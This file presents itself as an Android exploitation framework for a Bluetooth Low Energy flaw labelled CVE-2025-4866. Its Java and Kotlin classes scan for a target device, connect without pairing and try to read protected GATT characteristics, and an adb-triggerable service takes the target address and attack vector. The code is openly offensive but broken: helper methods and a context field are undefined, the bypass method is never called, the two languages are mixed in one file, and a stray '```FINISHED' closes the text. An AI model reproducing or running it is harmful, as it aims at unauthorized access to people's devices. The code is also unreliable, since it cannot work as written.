Android BLE CVE-2025-4866 漏洞验证与利用框架

// 核心漏洞利用类，负责协调 BLE 操作并触发 CVE-2025-4866
public class CVE20254866Exploit {
    private static final String TAG = "BLE-Exploit";
    private BluetoothManager bluetoothManager;
    private BluetoothAdapter bluetoothAdapter;
    private AttackVector currentVector;
    private ExploitCallback callback;

    // 初始化 BLE 适配器并检查必要条件
    public CVE20254866Exploit(Context context) {
        bluetoothManager = (BluetoothManager) context.getSystemService(Context.BLUETOOTH_SERVICE);
        bluetoothAdapter = bluetoothManager.getAdapter();
        if (bluetoothAdapter == null || !bluetoothAdapter.isEnabled()) {
            logAndCallback(ExploitCallback.STATE_ERROR, "BLE 适配器不可用或未启用");
        }
    }

    // 启动针对目标设备的漏洞利用流程
    public void startExploit(String targetAddress) {
        logAndCallback(ExploitCallback.STATE_STARTED, "开始针对目标 " + targetAddress + " 的漏洞利用");
        
        // 步骤 1: 使用特定的扫描设置发现目标 (可能包含特定 UUID 的过滤)
        startTargetedScan(targetAddress);
        
        // 步骤 2: 一旦发现目标，尝试建立未经授权的连接
        // ... (后续逻辑调用配对绕过或加密降级方法)
    }

    // 设置攻击向量：决定使用哪种具体的漏洞利用方式
    public void setAttackVector(AttackVector vector) {
        this.currentVector = vector;
        logAndCallback(ExploitCallback.STATE_INFO, "攻击向量设置为: " + vector.name());
    }

    // 注册回调接口以获取漏洞利用过程的实时信息
    public void registerCallback(ExploitCallback callback) {
        this.callback = callback;
    }

    // 内部方法：执行针对 CVE-2025-4866 的授权绕过
    private void performAuthorizationBypass(BluetoothDevice device) {
        logAndCallback(ExploitCallback.STATE_EXPLOITING, "正在尝试绕过 BLE 授权...");
        
        // 核心漏洞触发代码：
        // 1. 创建自定义的 GATT 回调，忽略标准的配对/绑定流程。
        // 2. 在设备未正确配对的情况下，尝试调用 "受保护" 的 GATT 特征读取/写入操作。
        // 3. 利用 BLE 协议栈在特定条件下的状态混乱，使得未授权操作得以成功。
        
        device.connectGatt(context, false, new BluetoothGattCallback() {
            @Override
            public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
                if (newState == BluetoothProfile.STATE_CONNECTED) {
                    logAndCallback(ExploitCallback.STATE_SUCCESS, "连接已建立，尝试发现服务 (期望未授权访问)");
                    gatt.discoverServices(); // 即使未绑定，也尝试发现服务
                }
            }

            @Override
            public void onServicesDiscovered(BluetoothGatt gatt, int status) {
                if (status == BluetoothGatt.GATT_SUCCESS) {
                    // 关键点：尝试读取一个通常需要加密连接的特征
                    BluetoothGattCharacteristic charac = findSensitiveCharacteristic(gatt.getServices());
                    if (charac != null) {
                        // 在标准流程中，这里应该触发加密/配对，但由于漏洞，可能直接成功
                        boolean success = gatt.readCharacteristic(charac);
                        logAndCallback(ExploitCallback.STATE_RESULT, 
                            "尝试读取敏感特征: " + (success ? "请求已发送 (等待结果)" : "请求失败"));
                    }
                }
            }
        });
    }

    // 辅助日志和回调函数
    private void logAndCallback(int state, String message) {
        Log.d(TAG, message);
        if (callback != null) {
            callback.onUpdate(state, message);
        }
    }

    // 攻击向量枚举
    public enum AttackVector {
        PAIRING_BYPASS,      // 绕过配对流程
        ENCRYPTION_DOWNGRADE // 降级加密算法
    }

    // 回调接口定义
    public interface ExploitCallback {
        int STATE_STARTED = 1;
        int STATE_INFO = 2;
        int STATE_EXPLOITING = 3;
        int STATE_SUCCESS = 4;
        int STATE_ERROR = 5;
        int STATE_RESULT = 6;

        void onUpdate(int state, String message);
    }
}

// 后台服务，用于在独立进程中运行漏洞利用，避免 UI 阻塞
class ExploitService : Service() {
    private lateinit var exploit: CVE20254866Exploit
    private val binder = LocalBinder()

    inner class LocalBinder : Binder() {
        fun getService(): ExploitService = this@ExploitService
    }

    override fun onBind(intent: Intent): IBinder {
        return binder
    }

    // 启动漏洞利用的公共方法，可从 Activity 调用
    fun startExploit(targetAddress: String, vector: CVE20254866Exploit.AttackVector) {
        exploit = CVE20254866Exploit(this)
        exploit.setAttackVector(vector)
        exploit.registerCallback(object : CVE20254866Exploit.ExploitCallback {
            override fun onUpdate(state: Int, message: String) {
                // 通过广播或 LiveData 将消息发送回 UI
                sendUpdateToUI(state, message)
            }
        })
        exploit.startExploit(targetAddress)
    }

    private fun sendUpdateToUI(state: Int, message: String) {
        val intent = Intent("EXPLOIT_UPDATE")
        intent.putExtra("state", state)
        intent.putExtra("message", message)
        LocalBroadcastManager.getInstance(this).sendBroadcast(intent)
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        // 处理从命令行或 adb 传递过来的启动参数
        intent?.let {
            val target = it.getStringExtra("target") ?: return START_NOT_STICKY
            val vectorOrdinal = it.getIntExtra("vector", 0)
            val vector = CVE20254866Exploit.AttackVector.values()[vectorOrdinal]
            startExploit(target, vector)
        }
        return START_NOT_STICKY
    }
}

// 主 Activity，负责 UI 展示和与 ExploitService 的绑定
public class MainActivity extends AppCompatActivity {
    private ExploitService exploitService;
    private boolean isBound = false;
    private TextView logTextView;

    private ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName className, IBinder service) {
            ExploitService.LocalBinder binder = (ExploitService.LocalBinder) service;
            exploitService = binder.getService();
            isBound = true;
            logMessage("服务已连接，准备就绪。");
        }

        @Override
        public void onServiceDisconnected(ComponentName arg0) {
            isBound = false;
            logMessage("服务已断开。");
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        logTextView = findViewById(R.id.log_text);

        // 绑定服务
        Intent intent = new Intent(this, ExploitService.class);
        bindService(intent, connection, Context.BIND_AUTO_CREATE);

        // 注册本地广播接收器以接收服务发来的日志更新
        LocalBroadcastManager.getInstance(this).registerReceiver(
            updateReceiver, new IntentFilter("EXPLOIT_UPDATE")
        );
    }

    // 按钮点击事件 - 开始利用
    public void onStartExploitClick(View view) {
        if (isBound) {
            String targetAddress = "00:11:22:33:AA:BB"; // 示例目标地址
            exploitService.startExploit(targetAddress, 
                CVE20254866Exploit.AttackVector.PAIRING_BYPASS);
            logMessage("正在启动漏洞利用...");
        }
    }

    // 广播接收器，处理来自服务的更新
    private BroadcastReceiver updateReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            String message = intent.getStringExtra("message");
            int state = intent.getIntExtra("state", -1);
            // 根据 state 值，可以在 UI 上显示不同颜色或图标的日志
            logMessage("[" + state + "] " + message);
        }
    };

    private void logMessage(final String message) {
        runOnUiThread(() -> {
            logTextView.append(message + "\n");
            // 自动滚动到底部
            int scrollAmount = logTextView.getLayout().getLineTop(logTextView.getLineCount()) 
                - logTextView.getHeight();
            if (scrollAmount > 0) {
                logTextView.scrollTo(0, scrollAmount);
            } else {
                logTextView.scrollTo(0, 0);
            }
        });
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        LocalBroadcastManager.getInstance(this).unregisterReceiver(updateReceiver);
        unbindService(connection);
    }
}
```FINISHED